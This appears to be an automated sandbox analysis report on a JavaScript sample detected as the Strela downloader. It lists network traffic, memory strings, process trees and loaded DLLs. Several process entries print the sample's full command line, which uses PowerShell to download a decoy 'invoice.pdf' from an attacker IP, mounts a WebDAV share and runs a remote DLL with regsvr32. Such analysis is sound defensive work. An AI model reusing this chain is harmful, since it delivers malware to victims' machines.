HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2034233832.000001B183002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2092323991.00000232B4AEB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2092323991.00000232B4B03000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093524073.00000232B4AEB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093433237.00000232B4AD0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093524073.00000232B4B03000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2093903838.00000232B4B20000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2090207397.00000232B4B1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2093433237.00000232B4AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$O
Source: net.exe, 00000007.00000002.2093433237.00000232B4AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000009.00000002.3325996689.000001D129A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2092351981.000001D1298E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6024, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2012713416258531948.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6608

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:576:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0fzeypsm.k34.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1552,i,2276911881699743365,15291556214876506569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1552,i,2276911881699743365,15291556214876506569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
